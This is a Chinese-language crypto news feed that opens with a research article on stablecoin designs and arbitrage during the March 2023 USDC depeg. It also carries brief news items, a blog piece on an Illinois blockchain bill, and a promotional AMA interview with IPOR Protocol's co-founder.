Celo的稳定币机制为：用户可以向官方的Mento池中发送1美元价值的Celo，获得1美元的cUSD等稳定币，也可以反向向Mento发送1美元价值的cUSD，换回1美元的Celo。在这种机制下，当cUSD市价低于1美元，就会有人低价买入cUSD去换得1美元Celo，同理当cUSD高于1美元时，就会有人用Celo铸造cUSD去卖出，套利者的存在会保证cUSD不会偏离其锚定价格太远。目前稳定币背后的储备池为CELO（8,190万美元）、ETH（4,889万美元）和BTC（791万美元）： 来源：Trend Research，Defillama Celo机制和LUNA与UST的机制区别在于：Cusd、cEUR、cREAL的资金背书除了CELO代币外还有ETH和BTC，所以当CELO代币价格发生大幅度波动时，只要存储池的ETH和BTC的资产规模能大于稳定币的流通市值，仍然是超额抵押的方式，那么这些稳定币理论就不存在脱锚的风险。当然，若CELO的市值快速缩减，导致存储池中以太坊和BTC的市值无法覆盖稳定币的流通市值，那么稳定币就会存在脱锚的可能性。 所以，只要Celo不发生超过50%的跌幅，稳定币脱锚的可能性较低。而以后若稳定币的规模持续增长，而存储池中的BTC和ETH的规模没有随着增加的话，其脱锚的风险会增加的。 CUSD的历史波动情况，除了去年FTX暴雷所导致的市场恐慌外，整体情况出现较大脱锚的情况，多数时间都处于1美元以上： 来源：Trend Research，CMC 总体上，对于CELO的稳定币机制，外部环境可影响的因素并不多，核心在于储备池中ETH和BTC的资产规模情况。此次USDC的脱锚对于CUSD也没有直接影响，并且因为目前CUSD主要是流通与Celo链上，和USDC关联度较低。 FRAX 稳定币系统于2020年12月上线，目前为v2版本，核心机制为 AMO（算法市场操作控制器）。 FRAX 代币最初设计为：由 100% USDC 作为抵押物，随后混合 USDC 和 FXS 作为抵押物，不断降低 USDC 的质押比重。 2023 年 2 月，社区投票通过了“将抵押率永久性定为 100%”的提案，将暂停 FXS 回购直至协议收入足够将质押率提高至 100%，目前协议质押率仍保持在 92%。此外，Frax Finance 在 2022 年 9 月推出借贷市场 Fraxlend，支持用户抵押资产借出 FRAX，这部分 FRAX 为超额抵押，机制与 MakerDAO 相似。差异点在于持有 FRAX 的用户可以在借款池中存入 FRAX，赚取借款费用。 AMO 旨在不降低抵押比率或改变 FRAX 价格的前提下，任意制定 FRAX 货币政策以及将储备资产进行投资，提高资本效率，为 FXS 持有者带来更多价值捕获。在启动 AMO 机制后，稳定币规模扩张主要由 AMO 控制，目前核心 AMO 池子为 Liquidity AMOs（多链DEX提供流动性）、Lending AMOs（借贷池）、investor AMOs（投资）、Curve AMO（Curve生态）。其中协议控制 FRAX 代币总量将近 8 亿枚。 图：存量 FRAX 分布 来源：facts.frax.finance 在本次 USDC 事件中，FRAX 价格受到较大冲击，价格最低跌至 $0.87。主要原因是： Frax Finance团队在本次事件中没有公开的补救措施，但团队在社区中表示长远计划是通过开设FMA）解决这一类风险问题。 由于抵押品为稳定币且未来抵押率逐渐上涨为100%，因此无法提高用户的资金效率。FRAX主要生态合作为Curve 和Convex，目前市场上缺少其他FRAX应用场景。总体来看，市场对FRAX需求不高。 由于FRAX代币在其他dapp上的应用并不广泛，因此主要套利行为发生在Fraxlend上，即已在Fraxlend中借出FRAX代币的用户可在市场上折价购买FRAX提前偿还借款。 图：FRAX和USDC价格在脱锚危机前后端变化 来源：Trend Research，CMC 不过由于抵押物危机带来的不确定性，其治理代币在危机期间也遭遇抛售跌幅超过20%，抛售的原因可能与MKR代币类似，存在潜在的系统失衡和代币增发补窟窿的风险。不过当USDC危机解除以后 FXS 的价格与MKR一样出现了40%以上的快速反弹。 图：治理代币FXS和USDC价格在脱锚危机前后端变化 来源：Trend Research，Tradingview 此外，Frax 系统带有ETH 2.0流动性质押服务，在市场动荡之际，由于抢跑交易的增多，3月10日前后的节点收入大增了五倍以上。 图：frxETH节点收入。蓝色是基础奖励，绿色是手续费‘打赏’收入 来源：Trend Research,facts.frax.finance/frxeth 例如，3月10日一个USDC用户将所持有的200万USDC在链上兑换成USDT时，却因未设置滑点，意外地被一个MEV机器人在支付了45美元Gas费和3.9万美元的MEV贿赂金后净赚了204.5万美元的利润，而该用户交易了208万枚USDC却仅收到了0.05枚USDT。 Aave 是一个通用借贷协议，支持多种加密资产之间的任意互借，其团队在2022年7月宣布要发行稳定币 GHO 的计划，GHO 的整体生成机制与 DAI 比较相似，都是基于超额抵押借贷维持与美元的 1:1 锚定，核心逻辑是用户将所支持的抵押品类型存入金库，按照一定抵押比率获得稳定币 GHO。在偿还或清算之后，这部分的稳定币将会被销毁。 Aave 推出稳定币的业务主要是为了获取更多收入，因为稳定币的铸币费用通常高于通用借贷业务所获的借贷息差收入，可以为 Aave 捕获额外的收益。并且，这部分的收入会直接流入 Aave 的Treasury 中。 Aave 目前的借贷业务基本比较成熟，相对其它较新的协议推广稳定币的难度，Aave 有一定的市场信用背书。其次，Aave 现在的协议版本已经迭代到V3，V3 升级计划现在还未完全部署完成，V3 对稳定币的应用用例也会有比较大的助力。 尚未完成的计划之一是关于高效借贷市场（e-Mode），即允许相同类型的抵押品以更高的 LTV 进行借贷。首先是 ETH 类（WETH、wstETH）资产间可实现90%的 LTV 借贷，即原来抵押价值 $2,000 WETH 最多可借出 $1,600 wstETH，现在 $2,000 WETH可借出最多 $1,800 wstETH，资金利用效率更高。下一步将要实现稳定币类资产间的 e-Mod 借贷（L2已部署，以太坊主网还未部署），LTV 或可达93%。这个实现对稳定币类资产的资金使用效率有非常大的提升，未来在推出 GHO 之后，对稳定 GHO 的价格和推广采用也有着积极的作用，但是与 MakerDAO PSM 面临同样的问题，就是模块内中心化稳定币面临的监管问题。 尚未完成的计划之二是跨链部署。Aave 目前虽已在多条链上进行已部署，并且保持着头部 DeFi 借贷协议的优势，但是并未实现真正的流动性跨链。Aave V3 跨链部署实施之后，对于 GHO 的规模扩张也会有一定的优势。Aave V3 「门户」功能允许资产通过不同网络在 V3 市场之间无缝流动，即通过白名单跨链桥协议在目标链上铸造 Aave 的「aTokens」，并在源链上销毁，以达到流动性从源链转移到目标链的目的。 图：各个链上 Top Protocols 来源：Trend Research，defillama.com 现在针对 V3 跨链门户白名单提案已投票通过，Aave 将利用跨链互操作协议 Wormhole的通用消息传递进行源链和目标链之间的通信，以及 Hashflow 的跨链 DEX 从做市商那里获取报价，并以零滑点和 MEV 保护执行交易。 Curve 在 2022 年 10 月发布其协议稳定币的白皮书，推出其稳定币 Curve.Fi USD Stablecoin，简称 crvUSD。Curve 设计了一个具备持续清算和买入的抵押品 LLAMMA 模型，用户可以在 LLAMMA 中超额抵押铸造 crvUSD，并可避免用户的资产被一次性清算的风险，同时结合 Pegkeepers 的自动增发和销毁机制，来稳定 crvUSD 在市场中供需关系。 目前 crvUSD 还未正式上线，但若未来发生主流稳定币如 USDC 再次脱锚，依靠其目前公布的设计机制，可能出现的情况下，如下（假设USDC再次脱锚）： 1）理论上 crvUSD 是由主流资产 ETH、BTC 等超额抵押铸造，所以若主流稳定币发生脱锚，而抵押品资产价格未收影响的情况下，理论上 crvUSD 不存在直接价值波动； 2）虽然crvUSD是以超额抵押的方式铸造，但其价格的稳定仍然依靠于市场流动池的流动性深度，作为Curve的官方稳定币，未来crvUSD进入3pool池的可能很大。并Curve团队持有大量的veCRV，早期内可以给与crvUSD大额的流动性激励，所以，早期冷启动应该会较为顺利。 而若当 crvUSD 与 USDC、USDT 都处于 3pool 池中，而USDC发生脱锚时，用户处于避险情绪，可能会将大量的USDC转换成USDT和crvCRV，那么短期内crvUSD的价格可能会超过1美元。而pegkeeper为了维持crvUSD的稳定，会增发大量crvUSD投放到流动池中，将价格恢复。所以，相对其他稳定币，crvUSD的机制可能不适合进行滑点套利，因为pegKeeper自动增发的功能，会迅速磨平用户的套利空间； 3）若因为主流稳定币发生大额脱锚，导致市场恐慌情绪很重，导致加密市场发生大量清算，包括LLAMMA也开始清算，将用户抵押品兑换成crvUSD，并且因为情绪恐慌，让crvUSD也开始出现价格脱锚，那么若用户相信pegkeeper具备存在资金在市场买入crvUSD来销毁，以此让价格重新恢复，即当crvUSD低于1美元时，是存在潜在的套利机会的； 4）由于 LLAMMA 仍然是 AMM 式的机制，所以可能会由存在稳定币和抵押品组成的LP存在清算池中，当币价来回波动时，一方面，用户的资产由于持续清算和买入会造成磨损，该摩擦成本对于抵押者而言较难避免。另一方面，提供LP的用户有可能会从持续清算的过程获得一定交易费用补贴，特别是链上发生大额清算时，短期内LLAMMA的交易量可能被拉升，而这些大额交易所产生的费用有50%的比例可能会给到LP。 以上 4 点均是基于现有 Curve 所公布机制进行推论，且此次 crvUSD 并未接收市场检验，正式效果仍然需上线后才能得知。 图：当前规模最大的四种稳定币以及TUSD在USDC脱锚后价格变化 市场规模最大的 USDT 在本次 USDC 脱锚事件中，依旧成为资金出逃的第一选择，价格表现最坚挺，涨幅甚至一度超过 1%。由于 DAI 的抵押品接近 50% 为USDC，伴随 USDC 的市场价格的不断下跌，DAI 的价格也出现严重脱锚，但是跌幅小于 USDC。 BUSD 以及 Binance 最近不断增加交易对的 TUSD 价格表现相对稳定，并未出现大于 1% 的价格波动。 协议: MakerDao 日期: 2023.03.12 应对措施: MakerDAO 社区通过「紧急参数变更」提案投票，将于 3 月 14 日执行。 该提案内容包括：将 UNIV2USDCETH-A、UNIV2DAIUSDC-A、GUNIV3DAIUSDC1-A、GUNIV3DAIUSDC2-A 债务上限减少为 0 DAI；将 PSM-USDP-A 最大债务上限从 4.5 亿枚 DAI 增加到 10 亿枚 DAI；在 USDC-PSM 中，将 USDC → DAI 交换费（tin）增加到 1%，将最大日铸造量（gap）减少至 2.5 亿枚 DAI；在 USDP-PSM 中，将 USDP → DAI 交换费（tin）减少到 0%，将 DAI → USDP 交换费（tout）增加到 1%，将最大日铸造量（gap）增加至 2.5 亿枚 DAI；在 GUSD-PSM 中，将最大日铸造量（gap）减少至 1000 万枚 DAI；将 Compound v2 D3M 与 Aave v2 D3M 目标借贷利率（bar）减少至 0%，以消除敞口；最后，该提案决定将 GSM 暂停延迟从 48 小时减少至 16 小时，提高治理决策敏捷性，此更改是一项临时更改，将在情况允许时再次增加 GSM 暂停延迟。 协议: Aave 日期: 2023.03.12 应对措施: Aave发推特称已迅速采取必要行动来限制风险。鉴于当前围绕稳定币的波动性，Aave DAO 在 Aave v3 Avalanche 上冻结了USDC、USDT、DAI、FRAX 和 MAI，从而来防止新头寸给协议增加风险，即LTV-0。 协议: Compound 日期: 2023.03.11 应对措施: Compound v2 已禁用 USDC 存款。Compound 在推特上表示，由于 USDC 的价格波动，Compound v2 Pause Guardian 暂时禁用了 Compound v2 中的 USDC 存款功能，用户仍可正常借、还、提取 USDC。此外，Compound v3 具有升级的风险引擎，所以运行没有任何问题。 协议: Compound 日期: 2023.03.12 应对措施: Compound社区发起新的提案，提案内容为恢复在 Compound v2 中铸造 cUSDC。投票将在两天后开始。 协议: dYdX 日期: 2023.03.11 应对措施: dYdX平台上 USDC 将以实际价值计价，不强制锚定 1 美元。dYdX 在推特上表示，平台上 USDC 将以实际价值计价，不会强制将 USDC 锚定 1 美元。dYdX 称，如果发生 USDC 贬值，所有以 USDC 支付的头寸、抵押品和资金都会以 USDC 实际美元价值计价。交易商不会因 USDC 价格变化而被清算，交易者将以 USDC 的实际价值进行支付。 在本次USDC脱锚事件中，除了大批人“跑毒”减少损失，还有一批对主流DeFi项目机制理解深刻的套利者。核心是利用项目对USDC价值固定锚定1美元，用低于1美元的USDC兑换更高价值的其他稳定币或者数字货币，成功获利。本次事件也会对当前以及未来发行的项目带来思考，所有交易标的的价格是否可以用固定价值来取代市场实际价值。接下来展示几个案例供参考。 PSM（Peg Stability Module）是帮助维持DAI价格稳定性的一种机制，PSM允许用户将其他代币兑换为DAI时不需要通过拍卖，而是通过固定汇率进行计算。USDP为 PAXOS发行稳定币，并未在本次银行兑付危机中被波及。在 USDC以及DAI发生折价时，利用PSM的价格机制：1 USDC= 1USDP 进行套利。 套利路径：使用资产在AAVE借贷USDC，然后在PSM将USDC 1:1 兑换为USDP，当USDC价格下跌幅度扩大，将USDP兑换为USDC，同时还掉USDC借款，剩余USDC为净利润。从下图中可以看到在USDC脱锚危机，USDC的大幅流入的同时，GUSD和USDP快速流出，USDP的存量一度几乎归零。 图：Maker系统三种稳定币抵押物在USDC脱锚期间变化情况 Curve 由于Curve价格曲线公式是为稳定币提供交易的，大额稳定币之间交换具有更低的滑点。这个模型在用于非稳定币时，对比UNI会在当前盘口位置提供更大的交易深度，从而和其他市场产生了价差，Curve的USDC/USDT价格 > UNI的USDC/USDT价格。 和传统搬砖方式相同，从UNI买入USDC并在Curve卖出，赚取差价，但是中间要面临USDC价格快速下跌的风险。 在 AAVE 的循环杠杆做多USDC的案例中，做多者基于USDC的价格最终会上升这个判断进行操作，并且承担了USDC价格进一步下跌的风险。 具体路径为：利用资产借贷USDC （借贷USDT，然后通过DEX交易为USDC），抵押USDC借贷USDT，USDT购买USDC，并且再次利用USDC借贷USDT进行循环。 Binance支持USDC充值，同时USDC会1:1兑换为BUSD，由此完成低价值USDC兑换高价值BUSD。 Coinbase 用户则是利用了 Coinbase 可以将USDC 1:1 提现为 USD进入银行账户，完成套利过程。但是两家交易所反应迅速，套利过程持续较短时间就被关闭。 如果USDC背后抵押物出了问题，USDC回不到1美元，那么不同类型的DeFi应用可能出现以下风险： 借贷协议 Aave 和 Compound 是最大的两家链上借贷平台，它们允许用户借入和贷出不同的加密货币，并获得利息收入或支付利息费用。USDC是这些平台上常用的资产之一。 如果用户使用USDC作为借款或者抵押品，那么他们可能会面临无法偿还或者被清算的风险。Aave对USDC价值计算使用的预言机是Chainlink，备用预言机是Uniswap。对于存ETH借USDC的用户影响有限，其可以趁机回购USDC以更少的资本金赎回原抵押物。而Compound则是使用固定1美元的价值，这可能导致风险。 具体而言，当 USDC 价格下跌时，借贷协议可能面临以下风险： 这些风险可以通过以下措施来缓解： 交易类应用：如果用户使用USDC作为交易对或者流动性提供者，那么他们可能会面临损失或者套牢的风险。例如，在Uniswap平台上，用户可以在任意两种加密货币之间进行交易或者提供流动性来赚取手续费。如果用户使用USDC作为交易对或者流动性池中的一种货币，那么当USDC价格下跌时，他们可能会因为兑换率变差或者无法退出而损失资金。另外衍生品交易应用中有一些默认USDC为1的应用也带来了套利的机会。 GMX是建立在Arbitrum的去中心化永久交易所。在GMX的交易机制中，用户做多平仓获得交易标的物，而不是保证金本身，而交易标的物是按照 USD进行计价。套利者利用折价的USDC进行开仓，按照标准USD的价格进行兑付。 本次事件后，GMX及其同类机制的协议，未来可能会优化稳定币的价格曲线，当稳定币作为保证金的，以用户下单时所使用的稳定币实际价值进行进行计算。 在GMX的Swap中，USDC/ETH的价格取的是ETH/USD的价格，所以在Swap中同样产生了套利空间。 此外，由于市场动荡也给该类杠杆交易平台带来的大量的手续费收入，达到了平日的2~3倍。 图：四大链上交易市场的收入情况 来源：Trend Research，Tokenterminal 预测类应用：如果用户使用USDC作为投注或者奖励，那么他们可能会面临赔付或者收益减少的风险。例如，在Augur平台上，用户可以创建和参与各种市场预测事件，并根据结果赢取奖励。如果用户使用USDC作为投注或者奖励货币，那么当USDC价格下跌时，他们可能会因为赔付金额变小或者收益缩水而亏损。 在这次USDC脱锚危机中，USDC 的折价给DeFi系统一度带来了巨大的不确定性，但随着政府和监管的出手，这一危机逐渐化解。在此过程中，既存在对价格回锚的单向押注（例如一个钱包从 Binance收到了 2.15 亿美元的 Tether 购买 USDC 和 DAI 稳定币，获利约 1650 万美元）；也存在利用机制漏洞进行低风险套利的行为（如正文提到的Maker PSM 套利）；也存在因为恐慌而错杀的各类资产价格回购的交易（如正文提到的 BUSD、USDP等折价）；此外，也不能忽视市场大幅波动给杠杆交易、LSD等应用带来的被动式收入上升（如Frax和crvUSD都可以捕获到相关收入），这类应用本身存在USDC风险敞口小，反而成为被动受益者。  ( 10 min )
    黑山司法部长：美国和韩国都正在寻求引渡Terra创始人Do Kwon
    PANews 3月29日消息，据金十报道，黑山司法部长表示，美国和韩国都正在寻求引渡Terra创始人Do Kwon。  ( 4 min )
    视频｜快速了解，CFTC为何起诉币安！CZ在劫难逃，传闻与FTX相关？
    CFTC来势汹汹起诉币安和CZ，细数数条罪名，币安为何会被起诉？CZ又是否在劫难逃！？更有行业人士猜测币安被CFTC调查，背后有FTX的推波，视频带你快速了解！  ( 4 min )
    美国议员提交更改链上交易的法案遭群嘲，有可能实现吗？
    作者：Kason 出品：白话区块链（ID：hellobtc） 2023年2月9日，美国伊利诺伊州参议员Robert Peters悄悄地提交了一项名为《数字产权保护和法律执行》的法案，该法案要求：对于在州内发生的区块链交易，在收到法院命令后，区块链网络需配合更改区块链交易或者执行智能合约，且该过程无需私钥参与。若区块链网络不予配合，会对区块生产者或网络验证者每天罚款5000到10000美元。（下图为原文） 这一法案在佛罗里达律师 Drew Hinkes 将其发到社交网络后引来巨大的争议。 拥有12万粉丝的加密分析师foobar表示，法院无需私钥即可让链上账户进行交易是一件很搞笑的的事。 投资公司 Delphi Labs 的律师兼总法律顾问 Gabriel Shapiro 直接点明这一法案想改变区块链网络的“不可篡改性”。 Hinkes 也表示这一提案难以实现，暴露了立法者对区块链技术的无知。 作为脱胎于比特币的技术，区块链的核心思想是将包含交易数据的账本交由全系统的节点而非单个或者少部分节点来维护、保管。 由于每一个节点都可以参与到账本的维护，不再单纯依赖于某个节点，它具有去中心化的特点。 由于每个节点都保存一份账本，单个节点难以控制或篡改数据，这赋予了链上数据不可篡改、可追溯、公开透明等重要性质。 区块链的“不可篡改”性与哈希函数的应用密不可分。哈希值是一种数据摘要，它可以将任意长度的数据映射为固定长度的唯一值。 这意味着任何数据的最小更改都会导致哈希值的改变，因此可以通过比对哈希值来验证数据的完整性和真实性。 中本聪作为比特币的缔造者，将哈希函数应用于区块生成之中。每个区块由区块头与区块体构成，系统会根据区块头的信息运用哈希函数计算出当前区块的哈希值。而区块头是由上一个区块的哈希值、当前区块体的哈希值、时间戳等信息构成，区块体由交易数据构成。 简而言之，如果一个区块的交易信息被改变，那么该区块体、区块的哈希值也将被改变，该区块之后区块的哈希值也将被改变。如果想让后面的区块还能连接到它，后面所有的区块必须全部同时修改，否则被改之后的区块就全部脱离了区块链。 但由于哈希值的计算很耗时，同时修改多个区块几乎不可能发生，除非有人掌握了全网51%以上的计算能力，也就是相当于整个系统超过一半的节点达成了改变区块的合谋，这是更难实现的。 正是通过这种联动机制，区块链保证了自身的可靠性，数据一旦写入，就无法被篡改。这就像历史一样，发生了就是发生了，从此再无法改变。 参议员Robert Peters的法案难以落地，因为他在要求区块链的出块节点、验证节点做他们难以做到的事。 由上文可知，如果一个区块中的交易被篡改，那么这个区块以及这个区块之后的区块哈希值将异于其他节点所携带的区块，会被系统自动识别为非法区块，这也意味着这笔交易会被识别为无效交易。即使每天对节点进行高额罚款，那也无济于事。 同时，这一法案还要求无需账户私钥即可对该账户的资金进行交易，这无异于打翻了“我的钱就是我的钱”这一加密世界信仰。 如若成真，那么这么做的区块链网络将会马上被加密社区抛弃。毫不客气的说，这一要求是在“杀死”区块链。 综上，参议员Robert Peters的法案不仅在实践中难以执行，反而会加剧司法实践与区块链技术、社区的冲突，注定难以实现。 参议员Robert Peters的建议虽然离谱，但这不意味着区块链在公共部门中没有用武之地。 政府作为一个特殊的市场主体，其服务对象为公共利益。借助区块链可追溯性、去中心化、不可篡改性等特点，政府可将其应用于投票、公共财产管理、电子证据留存等方面。 以区块链+投票为例，政府可以使用区块链来记录选举结果，从而确保选举的公正性和透明度。由于区块链不允许数据被篡改或删除，所以选举结果可以被保留和验证，从而防止任何欺诈行为和不当的干预，这能有效提升投票工作的效率与公众对政府的信任。 以区块链+公共财产管理为例，政府可以将公共财产的所有权、使用状况、发生的变故等信息记录在区块链中，确保这些信息在动态更新的同时不被篡改或删除，进而保护公众利益不被侵犯，也便于这些财产得到适当的维护与管理。 再以区块链+电子证据留存为例，利用区块链“信息留痕”的特质，司法部门可以将信息向区块链网络的全体节点广播，经过交叉审核、共同记账后，有效的保障了信息安全可控、不可篡改，减少了人为干预因素，提升了电子证据的可采信度。 总的来说，政府可以利用区块链技术从多个方面提升公共服务的效率并降低服务成本，但前提是认识到区块链这一技术“去中心化”这一本质，以及“可追溯性”、“不可篡改性”等重要特征。 作为一种新兴技术，区块链已经成功与多个传统业务的场景相结合，创造出新的产品与市场。 区块链+金融促进了DeFi的兴起，使得以token作为底层资产的金融产品成为了人们参与投资、交易、流动性借代的一个可选项。 区块链+艺术品使得NFT市场在过去两年大放异彩，借助于区块链技术的可追溯性、唯一性等特质，艺术品可以实现全球流通，且买家无需担心买到赝品。 除此之外，区块链还能与供应链、保险、身份认证、IOT、分布式存储等场景相结合，并推出相应的产品。 上述结合的前提，便是产品提供商对区块链这一技术+传统业务场景在社区中如何应用有着深刻的了解，而不是提出傲慢、不可行的建议后想通过强硬手段推行这些建议，这么做注定会被社区、技术等多个层面，从多个角度用多种姿势抛弃。  ( 4 min )
    Lido将于8月1日停止在Polkadot、Kusama上的质押服务
    PANews 3月29日消息，据Lido 开发商 MixBytes 的博客文章，去中心化金融(DeFi) 质押服务 Lido (LDO) 将于 8 月 1 日停止其在 Polkadot (DOT) 和 Kusama (KSM) 上的质押服务。Polkadot 和 Kusama 不再接受存款，6 月 22 日所有资产将自动取消质押。正式终止日期为 8 月 1 日。目前 Lido 上总共有价值 400 万美元的 DOT 代币和价值 75,000 美元的 KSM。  ( 4 min )
    对话IPOR：打造DeFi领域的基准利率，用全新玩法破圈
    从传统金融到去中心化金融，危机、波动的大环境之下，创新与突破永远不会缺席。在 DeFi 领域，就有这样一个“新物种”，它结合了传统金融与加密货币，自成一派，推出了首个 DeFi 领域的基准利率以及链上利率衍生品服务。没错，它就是我们今天的主角：IPOR Protocol，Inter-Protocol Overblock Rate协议。 今天，我们邀请到了 IPOR Labs 联合创始人、首席执行官 Darren Camas 参与我们线上分享活动！跟大家面对面，聊聊 IPOR Protocol、其创新会如何改变 DeFi 赛道，以及大家关心的各种问题。 以下为本次AMA现场实录： · 关于 TradFi 和 DeFi 以及两者如何在 Web3 时代相结合，大家已探讨颇多。如今，我们迎来了DeFi领域一个非常特别的“新物种”- IPOR。可否请您为大家介绍一下 IPOR Protocol 以及它为何能从其他 DeFi 协议中脱颖而出吗？ Darren: 当然可以！IPOR 协议采用利率衍生品 (IRD) 市场的基本原理并将其应用于 DeFi 领域。IRDs市场规模已达 450 万亿美元， 即 450,000,000,000,000 美元。 它是仅次于外汇的第二大市场。 实际上，IPOR 分为两部分：基准参考利率IPOR 指数以及利率衍生品去中心化交易所（ DEX）。IPOR指数就像DeFi 领域的 LIBOR（伦敦同业拆解利率） 或 SOFR（有担保的隔夜融资利率）算法版利率。这些利率被用于构建数百万亿美元的债务、交易和衍生品市场。使用IPOR，你就可以在链上做相同的操作。由于DEX 是点对池的，因此就会有流动性提供者，一个专门为利率设计的自动化做市商 （AMM） 以及衍生品交易商。 至于我们为何脱颖而出，我们整个体系是从无到有，是专门定制的。IPOR Protocol 有许多全新的 DeFi 原语，从作为公开产品的 IPOR 指数，到专门为利率设计的 AMM（我们甚至拥有一个专用的量化库），再到 Power Tokens 作为一种全新的代币经济学设计。上述每一个元素都可以被其他协议使用，具有可组合性。 IPOR 指数：DeFi信贷市场能够参考链上利率用于提供新产品 AMM 和利率衍生品能够成为多合约调用的一部分来构建结构化产品 Power Tokens 是一种开源的可定制架构，其他协议亦可对它进行调整来满足各自需求 · IPOR Protocol是如何运行的？用户可以如何来使用这个协议？有没有用户采纳的例子或产品，可否请您为我们介绍一下呢？ Darren: 首先，自去年8月，我们APP上的名义交易量以及达到37亿美元。按总锁仓价值（TVL），IPOR Protocol 是排名第六的衍生品协议。我们的流动性提供者目前在DeFi领域能赚取最高的稳定币收益以及最高的流动性挖矿奖励且没有无偿损失（Impermanent Loss）。 目前，我们正处于重新设计阶段，这将使我们的协议在链上拥有全面的风险管理框架，同时更改合约结束部分，将目前衍生品的4周掉期扩展到多月工具。 · 事实上，IPOR Protocol 有自己的原生代币。可否请您为我们社群具体介绍一下呢？比如如何来获得/使用这个代币？IPOR Protocol 的代币经济学详情？代币供应量是否有上限呢？ Darren: IPOR 代币旨在提高生产力，这一点大家可以在分配和 Power Token 设计上看出来。在一个简单的 ERC-20 合约中有 100,000,000 枚代币的上限，没有铸币功能。我们的代币地址为：0x1e4746dc744503b53b4a082cb3607b169a289090。 具体分配如下： 30% DAO金库 25% 流动性挖矿（长期产出用途） 13.15% DAO 运营（DEX/CEX 流动性、营销、激励用途） 20% 团队 11.85% 投资者 目前，流动性挖矿项目每天发行10,800枚代币。本月，DAO 会重新评估发行量并修改。 IPOR 可以用于质押，以获得pwIPOR（Power IPOR）。 Power Tokens 既是一种代币经济学架构，也是一种流动性挖矿设计。pwIPOR 可以委托给不同的模块，所以对其他开发者而言，极具灵活性。这就是为什么我们开源智能合约的原因。 目前，pwIPOR 的主要委托是给流动性提供者以用于 USDC、USDT 和 DAI 池的流动性挖矿。 pwIPOR 也可用于提高回报。大家或许了解 ve-tokenomics 等相关内容，但 pwIPOR 的特定模型却不太一样。 流动性挖矿的设计基于对数曲线，这意味着它符合基于比率且增长迅速但收益递减的特性。 使用 pwIPOR 很容易获得增长。这会有一个市场拐点，提供更多流动性或更多 pwIPOR 是有意义的，不过一旦超过曲线的这个部分，增长回报就会减少。 这个特定模型为巨鲸和散户提供了公平的环境。无论用户体量如何，都可以实现最优化增长。对于巨鲸或早期投资者并无偏好，它是基于市场动态而不停变化的。市场动态与 TVL、$IPOR价格、pwIPOR 如何为其他市场主体使用而提升、流动性挖矿奖励如何按比例分配等相关。只有不参与其中，才会输掉pwIPOR。 · 除了原生代币 $IPOR外，IPOR Protocol还有哪些代币吗？可否请您介绍一下他们的实用性呢？ Darren: 除了流动性挖矿，pwIPOR 代币也可以用于其他模块。首先也是最好理解的是，它本身是 IPOR Protocol 的治理代币。 IPOR 中的治理聚焦许多不同方面。我个人比较热衷的是IPOR 指数本身的实际构成。目前，它是以太坊上 AAVE V2 和 Compound V2 之间的中间市场成交量的加权利率。 IPOR 并不是以太坊结构，而是一个 DeFi 结构。 问题是：另一个协议如何成为 IPOR 指数的利率成分； 它是否已成交量加权？作为安全代理的时间要素呢？应该如何决定为另一个稳定币或类似 stETH 来启用一个新指数？应该如何选择从其他链或 L2 获取利率？有哪些技术考虑因素？其他治理决策还包括：围绕利率衍生品的风险参数有哪些；AMM拓展（这定义了spread模型）应该多久更新一次？多久应该调整一次波动率？ 在流动性挖矿方面，发行利率在哪个模块应该是多少？除了治理，还可以构建新模块用于满足协议其他长期需求。 · 您提到了治理、Power Token，IPOR Protocol的流动性挖矿项目就是基于这个代币。可否请您为我们详细介绍一下呢？（它是何时上线的？目前 TVL 和 APR 多少？） Darren: 当前的 Power Token 流动性挖矿项目是今年1月25日上线的。TVL 从250万美元涨到目前超过3200万美元，最高值时超过4200万美元，由于硅谷银行而引发的 USDC 危机，我们 TVL 缩水了一部分，但目前很多投资人又重新回归了。 首先，针对 LPs 我们有一个基准 APR，是基于稳定币的。这源自于货币市场收益、费用以及衍生品的净利润。在协议生命周期内，三个池的平均APR为6%左右。在 DeFi 领域，这可谓是稳定币的最高基准收益率之一了。 如果算上流动性挖矿奖励，这个收益目前是在32-34% APR，但这还不是全部。如果有 pwIPOR 的加持，平均APR会在40%左右，而一些聪明的巨鲸利用pwIPOR的收益增长功能可以获得80-100%的 APR。 · 随着 DeFi 市场发展，投资者和用户都开始关注项目的治理和审计。IPOR Protocol 是如何进行治理的？目前是已完全上链了吗？去中心化进度如何？目前协议有接受过审计吗？ Darren: IPOR 协议本质上具有保守性。试想一下仅仅是来自超额抵押货币市场的那些指数。同时，我们团队对安全性非常执着。有些项目提到他们对自己的协议进行了 50 次测试。而我们大概测试了至少有800次。我们的开发人员来自企业级软件，因此安全性和可扩展性对他们而言是第一要务。 目前协议已由 Zokyo 和 Ackee 完成审计。V2 目前已接近完成，届时会重新对整个协议进行审计，因为自发布之日起，我们已经做了一些更新和更改。 至于 DAO 治理，这在白皮书中有详述，我们会分阶段实现去中心化。投资者和用户保护不仅仅只是经济学方面的，还包括合情合理的进阶。我们即将进入 DAO 阶段，在 IPOR Discord 社群中，我们已经有了14 位 IPORIANS，这是社群最高等级。这些 IPORIANS 同时也能获得一份每月基本收入，即IBI（IPORIAN Basic Income），来自于 DAO 的每月固定拨款。 我们与 Deus Ex DAO 亦有合作，给予我们产品和社群方面的建议，目前他们帮助我们正在进行 DAO 结构设置，从工具到流程等繁重事务。 在接下来数周，会在 Discord 中添加一个 DAO 治理论坛。从该论坛，IPOR DAO 会开启快照投票。如您对 IPOR 治理感兴趣，请加入我们的 Discord！ · 聊到这儿，我们已经对 IPOR 有了一些深入了解。我想我们的社群一定对它背后的团队非常感兴趣。可否请您为我们介绍一下呢？ Darren: 我们团队由加密资深“老兵”和来自 TradFi 以及软件开发领域的精英组成。我自己从2011年起开始就从事加密行业构建，拥有很长的加密领域专业背景。我曾负责全球最早的交易所之一的 BD 团队。回顾2011年，那时我们排名仅次于 MTGOX 。我曾任 Cardano 的高级顾问，Cardano 是按市值排名第五的加密货币。 我的联合创始人 Dimitar 从2016年起从事加密领域。他曾在投行、现货和衍生品交易所工作，在 1inch 之前，他曾担任 Anton Buhkov 的顾问，并曾在 Binance 最大的天使投资人的公司工作。 不过，要在链上构建复杂金融工具，就需要结合量化金融以及可以将其推向市场的软件开发人员一起来实现。 我们的量化团队有两名量化金融分析师，在固定收益领域拥有超过 22 年经验。 IPOR Labs 首席科学家 Mauricio Hernandes 拥有计算机科学博士学位。 他为 日本证券经纪巨头SBI Bits （思佰益）设立了交易台，这是该机构的加密部门。他自 2017 年以来一直都在致力于加密领域的建设。 